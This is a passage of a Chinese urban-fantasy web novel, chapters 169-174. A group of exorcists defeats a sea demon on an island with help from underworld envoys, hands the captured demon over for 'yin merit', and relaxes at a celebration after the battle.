但事已至此,后悔已然无用!
萨拉莎眼中厉色一闪,周身幽蓝光芒再次暴涨,准备拼死一搏!
然而,古德根本不给她喘息和调整的机会,大声喝道:“别给她机会!速战速决!”
率先发动攻击的,是请神钟馗的高彦博!
他似乎对场上那具被星力炼得半死不活的秦尸看都不看一眼,左手一翻,掌心中不知何时已扣着三枚布满铜锈、却散发着奇异**之力的古朴铜钱。
正是墓穴下面的三枚镇尸钱!
只见高彦博手腕一抖,动作看似随意,却快如闪电,蕴含着某种玄奥的轨迹!
“嗖!嗖!嗖!”
三枚镇尸钱化作三道淡黄色的流光,精准无比地分别射向秦尸的额头、胸口、以及下腹丹田这三处尸气核心要害!
正处于极度虚弱状态的秦尸,根本来不及做出任何有效反应,只来得及发出一声短促而绝望的“呃……”声,那三枚镇尸钱便已深深嵌入其躯体关键穴位!
钱入体的瞬间,秦尸周身沸腾的尸气如同被釜底抽薪,瞬间凝固、沉寂下去!
它那庞大的身躯猛地一僵,眼中血光熄灭,然后直挺挺地、如同一段朽木般,“砰”地一声向后仰面倒地,溅起一片尘土,彻底失去了所有生机与动静,变得“安详”无比。
这位折腾了三百年,自称“始皇尸”的秦尸,竟如此戏剧性地被瞬间解决!
解决掉杂鱼,五人的目光齐刷刷地锁定在核心目标海魔萨拉莎身上!
九曜星力光柱虽然因阵法超负荷而略显不稳定,但依旧持续照射着她,四象虚影也重新凝聚,在外围虎视眈眈!
第170章 还有火箭筒?
“动手!”高彦博一声令下,声如洪钟!
他率先发动,手中的钟馗宝剑化作一道乌黑色的雷霆,直刺萨拉莎心口!
剑招大开大合,正气凛然,带着克制一切阴邪的煌煌神威!
正是钟馗伏魔剑法的精髓!
郑立几乎同时出手,他手中的长鞭如同一条毒辣的黑色蛟龙,刁钻狠厉地抽向萨拉莎的双腿,鞭影重重,带着禁锢与削弱的诡异力量!
周星星狂啸一声,手中“金箍棒”力劈华山,带着无与伦比的狂猛霸气,砸向萨拉莎的头顶!
谢潮则宝相庄严,打鬼棒点出道道金色佛光,如同绽放的莲花,封堵萨拉莎的闪避路线,进行净化与干扰!
于子朗身法最为飘逸,剑走轻灵,三尺青芒神出鬼没,专攻萨拉莎防御的薄弱点和要害,角度刁钻,迅疾无比!
五人配合,默契无比!
虽然大多是初次合作,但在各自请来的神念主导下,竟打出了天衣无缝的合击!
刚猛、刁钻、霸道、净化、灵巧……五种不同风格的攻击,从四面八方如同**般向萨拉莎倾泻而去!
萨拉莎纵然道行高深,此刻也陷入了极度被动的局面!
她周身幽蓝水光疯狂闪烁,双手连连舞动,施展出种种精妙诡异的水系法术!
时而化作重重水幕抵挡,时而凝出冰晶盾牌格挡,时而又分出水分身试图迷惑,甚至召唤出汹涌的暗流冲击众人下盘!
盆地中央,光芒爆闪,能量剧烈碰撞!
剑罡、鞭影、棒风、佛光、青芒与幽蓝水法不断交击,爆发出连绵不绝的轰鸣声!
气流激荡,飞沙走石!战斗激烈到了极点!
在五人毫无保留的猛攻和阵法持续压制下,萨拉莎左支右绌,险象环生!
她华丽的旗袍被剑气划破多处,露出下面白皙却带着诡异蓝纹的皮肤,呼吸也变得急促,额头香汗淋漓,模样狼狈不堪!
她眼中的高傲早已被愤怒、憋屈和一丝慌乱所取代!
“你们……很好!”
萨拉莎咬牙切齿,美眸中闪过一丝疯狂与决绝,“想把本尊逼入绝境?不就是拼命吗?谁不会!”
她猛地发出一声尖啸!
下一刻,她体内那深邃如海的本源魔气,开始不顾一切地疯狂燃烧!
一股远超之前、令人灵魂战栗的恐怖波动,如同即将爆发的海**山,从她娇躯内猛然诞生!
“不好!她要自爆本源!快退!”
古德率先察觉不对,大声警告!
但已经晚了!
“轰隆隆隆——!!!”
一声惊天动地的巨响猛然爆发!萨拉莎的身体仿佛化作了一个人形**,一股毁灭性的、混合着极致阴寒与狂暴能量的蓝色冲击波,以她为中心,呈球形向四面八方疯狂炸开!
首当其冲的谢潮、周星星、于子朗、高彦博、郑立五人,虽然及时做出了防御姿态,但仍被这股远超想象的力量狠狠击中!
“噗!”
“呃啊!”
“哼!”
五人如同被高速行驶的列车迎面撞上,齐齐喷出一口鲜血,身形不受控制地被炸得倒飞出去!
重重地摔落在古德周围的地面上,脸色瞬间变得苍白,气息萎靡,显然都受了不轻的内伤!
就连运转到极限的“九曜缚龙·玄枢镇魔大阵”,在这股近距离的、毁灭性的本源**冲击下,也终于不堪重负!
“咔嚓……砰!!!”
如同玻璃破碎般的声音接连响起!
五面主旗的旗杆齐齐裂开!
九盏星灯瞬间熄灭!
空中旋转的星幕和金色的天罗地网如同破碎的镜子般,寸寸碎裂,化作漫天光点消散!
笼罩盆地的强大力场,彻底崩溃!
阵法被破的强烈反噬之力,如同重锤般狠狠砸在作为主阵者的古德心神之上!
“噗——!”
古德再也压制不住,猛地喷出一大口鲜血,脸色变得金纸一般,身体摇晃了一下,用青铜阔剑死死撑住地面,才没有倒下。
“阿德!”
“德仔!你怎么样?”
谢潮等人强忍伤势,慌忙围拢过来,扶住摇摇欲坠的古德,脸上充满了担忧和焦急。
而**的中心,烟尘与水汽缓缓散去。
萨拉莎的身影重新显现出来。她此刻的模样也极为狼狈,旗袍破碎不堪,嘴角溢出了一缕幽蓝色的鲜血,原本美艳的脸庞苍白如纸,气息也变得极其紊乱和虚弱。
显然,刚才那自爆本源的禁忌之术,也让她付出了惨重无比的代价!
她拄着一根由寒冰凝聚而成的短杖,勉强站稳,用充满恨意和一丝得意的目光扫过重伤的众人,声音嘶哑地笑道:
“呵呵……咳咳……鹿死谁手,现在……还不一定呢!”
古德在众人的搀扶下,站直了身躯,擦去嘴角的血迹。
他虽然受了些内伤,阵法被破,但眼神却依旧冷静得可怕。
他盯着同样重伤的萨拉莎,心中快速盘算着。
这千年海魔的底牌确实出乎意料,但……他古
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德,又何尝没有最后的底牌?
升级后的系统,其实还有个隐藏功能……
“是吗?”
古德深吸一口气,压下翻腾的气血,脸上露出一抹意味深长的笑容,“那就看看……谁能笑到最后!”
萨拉莎见古德如此镇定,心中不由一凛,强提残余魔气,准备做最后一搏。
气氛再次变得剑拔**张!
然而,就在这千钧一发之际——
“咻——!”
一声尖锐的破空呼啸声,极其突兀地从盆地边缘传来!
一道拖着长长尾焰的黑影,以极快的速度,划破昏暗的夜空,不偏不倚,直奔刚刚稳住身形、正在暗自调息的萨拉莎而去!
那竟然是一枚——**!
萨拉莎的全部注意力都集中在古德等人身上,对这来自侧后方的、完全出乎意料的物理打击根本猝不及防!等她察觉到危险时,**已经飞到了眼前!
她只来得及凭借本能,仓促地在身前凝聚出一面薄薄的幽蓝色水盾!
“轰!!!”
**准确命中水盾,猛烈**!
但令人惊讶的是,**产生的并非炽热的火焰和弹片,而是一大团浓郁得化不开的、极度阴寒的黑色气雾!
这气雾带着强烈的腐蚀性和冻结灵魂的力量!
“这是什么?!”
古德眼中闪过一丝惊讶。
“啊——!”
萨拉莎发出一声凄厉的惨叫,她那仓促凝聚的水盾在阴气**的诡异能量冲击下瞬间破碎!
整个人被**的冲击波和那蚀骨阴寒的气浪狠狠地掀飞出去,在空中喷出一大口蓝血,重重摔在地上,伤势雪上加霜!
这突如其来的变故,让交战双方都愣住了!
所有人下意识地朝着**射来的方向望去——
只见在盆地边缘的一处高地上,不知何时,悄然站立着两道身影。
一位是身穿深紫色绣寿字纹传统寿衣、满脸皱纹眼神温和的老婆婆。
另一位,则是一个看起来只有十五六岁、穿着一身精致却与战场格格不入的黑色公主裙、梳着双马尾、容貌俏皮可爱的少女。
而此刻,那少女肩上,正扛着一个看起来比她整个人还要粗大几分的单兵火箭筒,筒口还冒着缕缕青烟。
少女脸上带着一种混合着兴奋、得意和些许恶作剧成功般的笑容。
古德看清这两人相貌的瞬间,脸上露出了极度意外和难以置信的神色,脱口惊呼:
“岚婆?!小宜?!怎么会是你们?!”
第171章 小宜的师父是.....
古德看清来人,心中恍然。
没错,此刻站在盆地边缘高地上的那一老一少,确实并非活人,而是两位有着特殊身份的“鬼友”岚婆和小宜。
只是眼前这一幕,着实让古德也感到几分意外和错愕。
只见小宜看到**命中目标,得意地拍了拍手,然后随手就把肩上那硕大沉重的火箭筒往旁边地上一扔。
诡异的是,那金属感十足的火箭筒在脱手的瞬间,竟如同变戏法般,材质迅速变得灰暗、脆弱,眨眼间就化作了一个用竹篾扎成、外糊彩纸的、活脱脱的纸扎火箭筒模型!
这纸扎模型落在地上,紧接着便无火自燃,腾起一股淡淡的青烟,迅速烧成了一小堆灰烬,随风飘散。
“搞定!”
小宜欢呼一声,看也不看那堆灰烬,转身就朝着盆地内古德众人的方向,迈开两条腿,噔噔噔地一路飞奔而来。
这举动让古德看得有些哭笑不得,心里嘀咕:
‘这丫头,明明是个鬼魂,飘过来不是更快更省事吗?怎么还像活人一样用跑的?真是个小孩子心性,贪玩。’
不过,这小宜奔跑时那双马尾辫在身后一甩一甩、裙摆飞扬的活泼样子,倒是给这刚刚经历惨烈大战、弥漫着血腥与焦糊味的战场,增添了几分不合时宜却让人心情莫名轻松的生趣。
小宜速度不慢,几下就跑到了众人面前。
她先是对着脸色苍白、拄剑而立的古德挥了挥手,露出一个灿烂又带着点小得意的笑容:
“古德哥哥!我们来帮忙啦!”
然后,她的目光立刻就越过古德,亮晶晶地落在了刚刚从请神状态退出、正喘着粗气调息的于子朗身上。
她像只快乐的小鸟,几步就蹦到了于子朗面前,仰着小脸,笑嘻嘻地说道:
“郎朗!我回来看你啦!惊喜不惊喜?”
于子朗看到小宜,先是愣了一下,随即脸上露出了发自内心的、带着点傻气的开心笑容。
他伸手习惯性地想揉揉小宜的头发,却发现自己的手有些脏,又缩了回来,在自己衣服上擦了擦,才摸着后脑勺,咧着嘴笑道:
“小宜?!真的是你!你……你变化好大啊!比以前更……更活泼可爱了!你怎么突然回来了?地府那边放假了吗?”
小宜用力点了点头,叽叽喳喳地开始解释:
“是呀是呀!我跟我新拜的师父请了假!我师父是可厉害可厉害的一位大人物!岚婆正好要来这边办点事,就顺路带我回来玩几天!
我们刚到岛上,就感觉到这边能量波动好吓人,顺着动静找过来,正好看到你们在打这个蓝衣服的阿姨!
我看她好像要欺负你们,就用师父给的‘小玩意儿’帮她冷静一下!”
她边说边比划着,完全没把旁边那位虎视眈眈、气息不稳的海魔萨拉莎放在眼里。
于子朗听着小宜的话,看着眼前这个似乎比以前更加灵动、甚至带着某种神秘底蕴的小姑娘,心里又是高兴又是感慨。
两人就这么你一言我一语地聊了起来,仿佛周围不是战场,而是久别重逢的公园一角,气氛一时之间竟然显得有些……温馨和古怪。
而被晾在一边的萨拉莎,此刻虽然内心怒火中烧,却真的没有轻举妄动。
她强压着体内翻腾的气血和魔气,一双美眸充满了警惕和惊疑不定,死死地盯着新出现的岚婆和小宜,特别是那位步履沉稳走来的岚婆。
从这位老婆婆身上,萨拉莎感受到了一种压制感,一种仿佛天生克制她这类存在的、令人心悸的气息!
这感觉,比面对古德的阵法时还要让她不安!
这时,岚婆也不紧不慢地走到了古德身边。
她先是仔细打量了一下古德
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的状态,看到他虽然受伤不轻,但眼神依旧清亮,根基未损,这才微微点了点头。
古德对谢潮和周星星使了个眼色,让他们继续盯紧萨拉莎,自己则迎上岚婆,压低声音,带着疑惑问道:
“岚婆,这……到底是什么情况?你们怎么会突然来这里?还有小宜她……”
他看了一眼正在和于子朗叽叽喳喳的小宜,以及地上那堆火箭筒的纸灰,意思不言而喻。
岚婆脸上露出一个温和中带着些许复杂的笑容,声音平和地解释道:“说来话长。简单讲,是这丫头的造化。她机缘巧合,拜在了一位了不得的大人物门下修行。那位大人物的名号叫冥王,不过我们都叫她茶茶大人。”
“冥王……茶茶?”
古德听到这个名字,脑子里“嗡”了一下,瞬间联想到了某部叫灵魂摆渡的经典剧集,心里不由得惊呼:
‘不会吧?!真的是那位?这个世界的水……比我想象的还要深啊!不过既然周星星和谢潮都能请神成功,冥王茶茶的存在,也很正常。’
古德先感到一阵不可思议,但随即又马上接受了这个讯息。
只是,那个层面的存在,现在的他显然还没资格去深入了解和接触。
岚婆似乎看穿了古德的心思,继续微笑道:
“托这丫头的福,老身我也算是沾了光,经过考核,提前转正,如今在茶茶大人麾下当差,算是个有正式编制的鬼差了。
和我们这边传统地府的鬼差体系不太一样。这次主要是公务在身,顺道送这小丫头回来看看她的……心心念念的郎朗。”
她说着,慈祥地看了一眼正和于子朗说笑的小宜。
接着,岚婆将目光转向不远处如临大敌的萨拉莎,眉头微蹙,问古德:
“德仔,你怎么会和这位对上了?看这动静,打得可不轻啊。”
第172章 恼羞成怒的萨拉莎女士
古德无奈地叹了口气,摇了摇头:
“岚婆,可不是我主动找她麻烦。是这位……嗯,萨拉莎女士,不知为何盯上了我,从我们坐船来岛的路上就开始窥伺,登岛后更是直接出手。我也是被迫自卫,总不能站着让她打吧。”
岚婆闻言,似是觉得有些好笑,轻轻哼了一声:
“那她可真是……运气不佳,挑错了对手。遇上你这个不按常理出牌、浑身是谜的小子,算她倒霉透顶。”
她的语气中带着几分对古德的了解和一丝不易察觉的维护。
古德笑了笑,算是默认了这份“恭维”。
他随即看向萨拉莎,又向岚婆询问道:
“岚婆,听您的口气,您认识这位……海魔?她到底是什么来路?”
岚婆点了点头,目光重新投向萨拉莎,眼神变得有些深邃,仿佛在回忆久远的往事:
“萨拉莎……这个名字,在某个圈子里,不算陌生。算是海洋中诞生较早的精怪之一吧。不过她的性子……”
岚婆指了指自己的太阳穴,语气带着点意味深长。
“这里,和普通的妖魔不太一样。有点……执念成狂的感觉。总听她说在找什么人,具体找谁,为何而找,年代太久,老身也打探不清了。
她平时大多藏在深海沉睡,几百年也未必醒一次,醒了也很少主动惹是生非,所以一直也没谁特意去找她麻烦。没想到这次醒来,偏偏找上了你,还真是……在劫难逃了。”
她顿了顿,补充道,“说起来,她和你们身边那个石敢当类似,都是天地精华所生的精怪之属。只不过,一个选择了依附地脉,庇护一方,渐渐向善;这一个嘛,心思太重,执念太深,路子就走偏了,算是渐趋于恶。”
古德闻言,若有所思地点了点头,下意识地瞥了一眼旁边的马季,半开玩笑半认真地对岚婆低声道:
“或许,不是我身上有她想要的东西,而是我身边……有她想找的人吧。”
他想起了电视剧两个人的孽缘。
接着,古德又想起一个关键问题,继续请教岚婆:
“岚婆,还有个疑问。如今这天地灵气衰竭得厉害,连石敢当这样的山灵都差点维持不住形神。这萨拉莎,为何还能保有如此强大的力量?她似乎并不像完全依赖香火愿力的样子。”
岚婆赞赏地看了古德一眼,似乎觉得他观察很仔细。
她解释道:“你问到点子上了。没错,如今地表之上的灵气的确近乎枯竭。但是,大海,是特殊的。浩瀚海洋深处,尤其是一些古老的海沟、灵脉节点,依然能缓慢地凝聚起极为微弱、但源源不绝的水系先天灵气。
这种灵气,寻常修士几乎无法感应和汲取,但萨拉莎不同,她本就是自海洋本源中诞生的精灵,与大海同源。
她应该是找到了某种深海秘地,通过长时间的沉睡,如同冬眠一般,极其缓慢地吸收着这些微薄的海灵之力,这才能苟延残喘至今,维持住这份力量。不过,这种方法,也只能让她维持现状,想要再进一步,几乎是痴心妄想了。”
古德听完,顿时恍然大悟!一直萦绕在心头的关于萨拉莎力量来源的谜团,终于解开了!
原来奥秘藏在深不可测的海洋之中!
这也能解释为什么萨拉莎给人的感觉,强大却似乎有种“外强中干”、“后劲不足”的迹象,因为她力量恢复的速度,恐怕远远跟不上消耗的速度。
他们这边旁若无人地交谈,可把重伤在身、强撑场面的萨拉莎给彻底激怒了。
她感觉自己受到了极大的轻视和侮辱!
想她堂堂千年海魔,何时被人如此无视过?
“够了!”
萨拉莎强提一口气,发出一声尖锐的厉喝,打断了古德和岚婆的对话。
她脸色铁青,嘴角还挂着蓝色的血丝,色厉内荏地吼道:“小子!要打便打,不打就痛快放老娘离开!别在那里嘀嘀咕咕!真以为老娘怕了你们这群乌合之众吗?!”
古德转过头,看着萨拉莎那副外强中干、明明已是**之末却还要硬撑面子的模样,不由得觉得有些好笑。
不过,目光扫过萨拉莎那即便狼狈也难掩其成熟美艳的容颜和丰腴有致的身段时,一个有点跳脱的念头突然冒了出来:
‘这家伙实力是有的,就是脑子好像有点轴。要是能收服……家里正好缺个能干杂活的,比用那些笨手笨脚的小鬼强多了,至少看着养眼,还不怕普通邪祟。’
这个念头一闪而过,古德还没来得及细想,旁边的岚婆却似乎已经失去了耐心
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,或者觉得时机已到。
只见岚婆轻轻叹了口气,摇了摇头,像是自言自语又像是对古德说道:“冥顽不灵,吵吵嚷嚷的,听得老身耳朵疼。罢了,既然撞上了,也是该了结这段因果的时候了。”
话音未落,岚婆右手看似随意地轻轻一抖!
“哗啦啦——!”
一阵清脆而带着阴冷寒意的金属碰撞声骤然响起!
一条婴儿手臂粗细、通体乌黑发亮、不知何种材质打造、表面刻满了细密玄奥的幽暗符文的锁链,如同一条从九幽之下探出的灵蛇,从她的袖口中激射而出!
这锁链的速度快得超出了肉眼捕捉的极限!
上一秒还在岚婆手中,下一秒,就已经凭空出现在了十数米外的萨拉莎身前!
萨拉莎瞳孔骤然收缩,心中警铃大作!
她想要闪避,想要施展水遁,想要凝聚护盾!
但一切都太晚了!
那锁链仿佛无视了空间的距离,更带着一种针对灵体、妖邪的绝对禁锢法则!
“嗖!嗖!嗖!”
乌黑锁链如同拥有生命一般,灵活无比地在空中几个缠绕,瞬间就将萨拉莎的双手、双脚、乃至纤细的腰肢,结结实实地捆了个五花大绑!
锁链收紧时,上面的幽暗符文齐齐亮起微光,一股冰寒刺骨、能冻结魂魄、瓦解妖力的力量瞬间透体而入!
“呃!”
萨拉莎只来得及发出一声短促的惊愕闷哼,就感觉浑身一僵!
体内原本还能勉强催动的魔气,如同被打了死结的江河,瞬间停滞不动!
四肢百骸传来一阵难以形容的酸软无力感,仿佛所有的力气都在一瞬间被抽干了!
她试图挣扎,但那乌黑锁链纹丝不动,反而越收越紧,符文的光芒持续闪烁,压制得她连抬起一根手指都变得异常困难!
她那双美眸中,第一次露出了真正的、难以掩饰的惊恐之色!
她终于意识到,这个看似普通的老太婆,所使用的力量层次,完全碾压了她!
这锁链,是真正的冥府法则冥器!
刚才还气势汹汹、叫嚣着要拼个你死我活的海魔萨拉莎,转眼之间,就变成了一个被黑色锁链紧紧束缚、动弹不得、只能任人宰割的俘虏。
场面,瞬间逆转!
第173章 特别值钱的萨拉莎女士
岚婆这突如其来、干脆利落的一手,瞬间将在场所有人的目光都吸引了过去。
谢潮、周星星等人瞪大了眼睛,脸上写满了惊讶与难以置信。
他们拼尽全力、甚至请神附体才勉强压制住的海魔萨拉莎,在这位看似普通的老婆婆面前,竟然连一个照面都没撑过,就被那根诡异的黑色锁链捆得结结实实,动弹不得!这反差实在太大了。
古德也转过头,看向身旁气定神闲的岚婆,脸上露出些许疑惑的神情,轻声问道:
“岚婆,您这是……?”
他原本还在琢磨怎么处理这个烫手山芋呢,谁知道岚婆就这么出手了。
岚婆听到古德的问话,反而也露出了一丝不解的神色,她看了看被捆成粽子、一脸惊怒交加的萨拉莎,又看向古德,语气平常地反问道:
“嗯?德仔,你费了这么大劲,把这海魔打成这副半死不活的样子,不就是为了让老身我好方便压制,把她带下去换个好价钱吗?难道你还有别的打算?”
那语气,就像是在问要不要顺手把门口的垃圾带下楼扔掉一样自然。
古德闻言,先是一愣,随即有些不好意思地嘿嘿笑了笑,摸了摸鼻子,说出了自己刚才那个有点跳脱的想法:
“这个嘛……岚婆,不瞒您说,我刚才看她长得还挺……呃,我是说,看她力气应该不小。我家里正好缺个能干粗活、打扫庭院的……女佣。我在想,要是能把她收服了,带回去使唤,好像也挺不错的?”
岚婆听完,脸上顿时露出了十分惊讶的表情,她上下打量了古德几眼,仿佛第一次认识他一样,随后无奈地摇了摇头,叹了口气,语气带着点劝诫的意味:
“唉,你们年轻人,想法就是稀奇古怪。行吧行吧,既然你不想卖掉,想留着……嗯,‘用’,那你就自己留着吧。就是可惜了……”
岚婆咂咂嘴,脸上露出几分实实在在的惋惜神色。
“这海魔萨拉莎,虽说脑子有点不清爽,但好歹也是个千年道行的老精怪了,根脚特殊。要是让老身把她押解到下面去,转手卖给……咳咳,是交给某些对她‘感兴趣’的大人物,比如茶茶大人那边,少说也能换这个数的阴德呢。”
说着,岚婆慢悠悠地伸出了三根手指,在古德眼前晃了晃。
“什么?多少?!”
古德一听“阴德”两个字,耳朵立刻竖了起来,尤其是听到岚婆那惋惜的语气,心里咯噔一下,急忙追问:
“岚婆,您刚才说……能卖多少阴德来着?”
岚婆看着古德瞬间变得炯炯有神的眼睛,脸上露出一抹似笑非笑、了然于胸的表情,不紧不慢地重复道:
“是啊,可惜了。要是交给老身处理,你这边的抽成嘛,少说也有这个数。”
她再次比划了一下那两根手指,故意拖长了音调,“怎么?小子,心动了?”
“两……两万阴德?!”古德下意识地咽了口唾沫,声音都有些发干。
两万阴德!这可不是个小数目!
不说存起来用来升级系统功能,就给那他的出租车升级配件,也绝对是能提升好几个车子配件了!
相比之下,一个可能还不怎么听话、还得费心看管的海魔女佣……顿时就显得没那么香了。
古德脑子里瞬间进行了一场激烈的价值权衡。
他干咳了一声,脸上迅速换上一副深明大义、勤俭持家的表情,对岚婆正色道:
“咳咳!岚婆,您说得对!我仔细想了一下,像我这样勤劳勇敢、自力更生的优秀青年,确实不太习惯被人伺候。而且打扫卫生这种小事,用几张除尘符、净宅符就完全搞定了,方便又环保!这个海魔……还是交给您老人家处理最为妥当!麻烦您了!”
变脸速度之快,令人叹为观止。
被黑色锁链死死捆住、动弹不得的萨拉莎,听着这两人旁若无人地讨论着她的“归属”和“价钱”,简直气得浑身发抖,羞愤交加!
但当她听到“押解到下面”、“卖给大人物”这些字眼时,心中更多的却是无法抑制的恐慌!
她也不清楚,如果被带入地府,落到那些存在手中,等待她的会是什么下场,但是未知的永远是最恐怖的!
强烈的求生欲瞬间压倒了一切!
她也顾不上面子和尊严了,急忙朝着古德的方向,用尽力气喊道,声音带着明显的颤抖和哀求:
“大人!大人!请等等!我愿意!我真的愿意当您的女佣!签什么契约都行!灵魂契约也可以!只要您别把我交给她们!求求您!”
她此刻的模样,哪还有半点之前海魔的威风,倒
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像是个即将被推上拍卖台的可怜奴隶。
然而,古德此刻心里的小算盘已经打得噼啪响了。
心中无女人,拔剑自然神!女佣哪有实实在在的阴德香!’
他压根没理会萨拉莎的哀求,直接对岚婆露出了一个“你懂的”的笑容,语气坚定地说:
“岚婆,一事不烦二主。这海魔,就全权交给您处理了。该怎么着就怎么着,我信得过您!”
岚婆满意地点了点头,脸上露出了“孺子可教”的表情:
“嗯,这才对嘛。那行,老身这就先带她下去交割。小宜这丫头有一天的假期,我明天这个时候再来接她回去。”
古德连忙点头:“没问题没问题!小宜在我们这儿,您放心!”
岚婆又转头对正和于子朗叽叽喳喳说个不停的小宜嘱咐道:
“小宜,听到了吗?老身明天来接你。你就跟着德仔他们,不许调皮,不许乱跑,知道吗?”
小宜立刻像个小兵一样站直,乖巧地连连点头:
“知道啦岚婆!我保证乖乖的!”
但一转脸,她就又扯着于子朗的袖子,大眼睛扑闪扑闪地,带着撒娇的语气说:
“郎朗!郎朗!你带我去以前那个纸扎铺玩玩好不好?下面好无聊的,衣服样子都好老气,玩具也少!我想买点新潮的纸扎衣服、洋娃娃还有游戏机带下去!好不好嘛?”
于子朗看着小宜活泼可爱的样子,心里也是由衷地高兴,一直把她当亲妹妹看待。
能再次见到她,而且看到她似乎过得不错,他比谁都开心。
他爽快地答应道:“好!当然好!我知道你说的是纸扎陈那家店吧?没问题!明天就带你去!你想买什么,我给你买!”
他琢磨着,得让纸扎陈扎点最新款的衣服和玩具才行。
随着海魔萨拉莎这个最大的威胁被岚婆用锁链牵着,身影渐渐变淡,如同融入阴影般消失在众人眼前,现场的气氛顿时松弛了下来。
那个被镇尸钱定住、早已彻底“躺尸”的秦尸,更是构不成任何威胁。
盆地之上,那层因邪气汇聚而生成的厚重乌云,也开始缓缓消散。
清冷的月光和璀璨的星河重新洒落下来,照亮了这片刚刚经历了一场恶战的狼藉之地,也驱散了众人心头的最后一丝阴霾。
第174章 战后的放松闲聊
古德长长地舒了一口气,一直紧绷的神经终于放松。
他招呼后勤组的人员,把他们身边那些已经光芒黯淡、甚至出现裂痕的阵旗收集过来。
他强撑着疲惫的身体,走到那口幽深的井口旁,用最后一点法力,结合残存的阵旗力量,布下了一个简易的封印,防止还有漏网之鱼跑出来。
做完这一切,古德感觉浑身像散了架一样,再也支撑不住,一屁股瘫坐在地上,背靠着**土里的青铜阔剑,大口地喘着气。
“阿德!你怎么样?”
“德仔!没事吧?要不要紧?”
“阿德!需不需要叫救护车啊?!”
周星星、谢潮等人见状,立刻围拢过来,脸上写满了担忧。
尤其是周星星,最后一嗓子“救护车”喊得格外响亮。
古德没好气地翻了个白眼,有气无力地吐槽道:
“我叫你个大头鬼啊……阿星,你倒是去给我找找看,这海岛上有没有红十字的救护站?我看看你能不能给我变一辆救护车出来……”
这荒岛海岛的,哪来的救护车。
周星星被怼了也不恼,反而嘿嘿一笑,凑到古德身边,也毫无形象地一屁股坐了下来,然后甚至觉得不过瘾,干脆四仰八叉地直接平躺在了还有些温热的地面上,望着星空感叹道:
“哎呀……累死我了……感觉身体被掏空……”
他这一躺,仿佛打开了某个开关。
谢潮、于子朗、马季等人互相看了看,也都忍不住笑了起来,随即纷纷有样学样,或坐或躺,东倒西歪地瘫了一片。
就连郑立和高彦博,也放松地坐在了旁边。
一时间,盆地中央横七竖八地躺倒了一群人,场面看起来有些滑稽和随意,仿佛刚刚结束了一场激烈的野战游戏,而不是生死搏杀。
这种劫后余生的放松感,弥漫在每个人心间。
“阿德,”周星星躺在地上,歪着头看向古德,眼睛亮晶晶的,充满了好奇,“你说……这井下面,秦始皇的宝藏,得有多少啊?会不会有金山银山?”
他已经开始畅想分赃了。
古德闭着眼睛调息,闻言嘴角扯了扯,懒洋洋地回道:
“你那么心动,要不……你现在就下去看看?帮我们探探路?说不定还能和下面没清理干净的跳僵兄弟打个招呼,交流一下感情。”
谢潮相对稳重些,他半坐起身,看着被简单封印的井口,有些不解地问:
“德仔,既然秦尸都解决了,为什么还要把井口封起来?明天再打开,不是多此一举吗?”
古德睁开眼睛,解释道:
“阿潮,没那么简单。刚才秦尸完蛋的时候,我感应到,之前挤在井口想出来的那些跳僵和厉鬼,有不少见势不妙,又缩回下面去了。
这井底下肯定还有不少‘存货’。明天天亮了,我们还得再组织人手,下去彻底清理一遍,确保没有遗漏,才能安心地……嗯,‘清点财物’。”
他说到最后,眨了眨眼。
这时,郑立和高彦博也凑了过来。
两人脸上带着些许疲惫,但更多的是兴奋和一丝不易察觉的紧张。
高彦博语气认真地问道:“阿德,我们俩……这次的表现,没给你拖后腿吧?没丢脸吧?”
郑立也在一旁用力点头,眼神里充满了期待。
古德看着他们俩,回想起他们请神钟馗和申公豹时的那股子认真劲和后续的战斗表现,不由得真心实意地笑了起来。
他伸出右手,对着两人高高翘起了一个大拇指,赞道:“表现非常棒!超出预期!以后咱们团队的主力,又多了两位猛将!”
得到古德的肯定,高彦博和郑立顿时喜笑颜开,像是得了奖状的学生,心里踏实又自豪。
高彦博甚至暗暗握了握拳。
众人就这样你一言我一语,随意地聊着天,分享着刚才战斗中的惊险瞬间,互相打趣。
周星星更是活宝似的模仿着秦尸被打得嗷嗷叫的样子,引得大家阵阵发笑。
战后的疲惫,在这种轻松的氛围中,似乎也消散了不少。
然而,马季却显得有些心事重重。
他蹲在身形比之前淡薄了许多、甚至有些半透明的石敢当旁边,脸上写满了担忧。
他看向古德,语气焦急地问:“阿德,石敢当他……他这个样子,真的没事吗?会不会消散啊?”
石敢当的灵体虽然虚弱,但意识清醒,他摆了摆手,用有些飘忽的声音安慰马季道:“小马……不用担心……我根基还在……只是消耗过大……休养一段时间……就能慢慢恢复……”
古德也强撑着坐直了些,对马季说:“小马哥,别太担心。你去找找那些已经破碎、但还残留着些许星宿之力的阵旗,把它们拿过来,插在石敢当周围。”
马季连忙照做,将那些布满裂纹的旗幡拿来,按照古德的指示,围着石敢当插了一圈。
古德深吸一口气,凝聚起恢复了一点的微弱法力,双手结出一个简单的引灵印,按在地面上。
“阵余
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星力,听我号令,滋养灵体,助其复原!”
随着他低声诵念,那些破碎的旗幡微微颤动起来,旗面上残留的、原本即将消散的微弱星辉,被缓缓引导出来,如同涓涓细流般,汇入到石敢当的灵体之中。
石敢当虚幻的身体,以肉眼可见的速度变得凝实了一点点,虽然距离完全恢复还差得远,但至少稳定了下来,不再有虚化的危险。
做完这一切,古德也彻底脱力,重重地靠回阔剑上,额头上渗出虚汗。
看着那些因为能量耗尽而彻底化为凡铁、灵性尽失的阵旗残骸,古德心里多少有些心疼和惋惜。
这套阵旗材料难得,制作不易。
但转念一想,只要大家都平安无事,这些身外之物,毁了也就毁了吧,以后总能再想办法。
人,才是最重要的。
没过多久,莫作栋就带着钱老板,以及一群扛着食材、简易灶具、甚至还有几张折叠桌和塑料布的村民,浩浩荡荡地来到了盆地。
钱老板脸上早已没了之前的忧色,取而代之的是满满的感激和如释重负。
看来在来的路上,莫作栋已经把事情的大致经过告诉了他。
钱老板一见到古德,就快步上前,一把握住古德的手,用力摇晃着,激动得声音都有些哽咽:
“古大师!古大师!这次真是……真是多亏了您和各位高人!要不是你们,我们钱家……不,是整个岛,恐怕都要遭大难了!您是我们全岛人的救命恩人啊!以后有什么用得着我钱某人的地方,您尽管开口!我绝无二话!”
他的感激之情,溢于言表。
古德勉强笑了笑,抽出了钱老板的手:
“钱老板言重了,分内之事罢了。现在……大家也都饿了,要不,咱们先……弄点吃的?”
他是真的前胸贴后背了。
“对对对!瞧我这脑子!”
钱老板连忙招呼带来的厨师和帮手,“快!赶紧生火!把带来的新鲜海鲜、烤肉、蔬菜都弄起来!今天咱们就在这儿,给古大师和各位阿sir,办个露天的庆功宴!”
